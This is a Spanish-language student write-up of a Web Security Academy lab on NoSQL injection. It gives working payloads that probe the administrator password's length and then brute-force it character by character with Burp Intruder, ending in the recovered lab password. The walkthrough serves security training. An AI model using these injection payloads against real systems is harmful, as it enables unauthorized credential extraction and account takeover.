🪖Laboratorio: Exploiting NoSQL injection to extract data

El endpoint: GET /user/lookup?user=administrator

admin' && this.password[0] == 'a' || 'a'=='b

Eso es parte de la doc de web academy, sin embargo así no me funcionado, me devuelve

"could not find user"

Puede ser modificar la consulta, ya ví que la forma de que se acepte la inyección es codificando && a URL y lo demás normal.

//LO voy a iterar hasta que ya no me devuelva la info del admin sino un could not find user
administrator' %26%26 this.password.length < 50 || 'a'=='b
administrator' %26%26 this.password.length < 40 || 'a'=='b
administrator' %26%26 this.password.length < 30 || 'a'=='b
administrator' %26%26 this.password.length < 20 || 'a'=='b
administrator' %26%26 this.password.length < 10 || 'a'=='b
administrator' %26%26 this.password.length < 5 || 'a'=='b //AQUI YA TIRO ERROR.
administrator' %26%26 this.password.length < 9 || 'a'=='b //devuelve info
administrator' %26%26 this.password.length < 8 || 'a'=='b //Tira error again. 

Esto nos deja claro que la longitud de la password del user admin es de 8, por qué? porque basicamente el < 8 no va a abarcar 8 sino su numero antecesor, pero la longitud si es de 8 porque cuando le damos < 9 si devuelve info y además vemos que la contraseña abarca de 0-7, con lo cual si deja la longitud en 8.

Ahora es cuestión de perfeccionar la inyección para manejarla con turbo intruder.

administrator' %26%26 this.password[parametro posicion] == 'parametro posicion' || 'a'=='b
administrator' %26%26 this.password[] == '' || 'a'=='b

Un ataque de tipo intruder cluster bomb para iterar en dos payloads diferentes, uno para iterar la posicion de la contraseña de 0-7 y el otro para iterar la posibilidad de caracteres de la password de A-z en lowercase tal como dice la pista.

Ahora la definitiva para encontrar la password es hacer un Grep Match que filtré por los resultados “Could not find user” y los que NO se matcheen con ese filtro son la posición y el caracter que hace parte de la contraseña:

Por ejm la posición #4 del ataque, con el caracter a en la 3era posición. (iré armando la password)

* y
* n
* m 
* a
* y
* d
* q
* b

(Hey crack, la contraseña no será la misma así que si piensas que puedes saltarte el lab enhorabuena estas equivocado :n)

Entonces la contraseña es: ynmaydqb , ingresamos como admin:

...

Last updated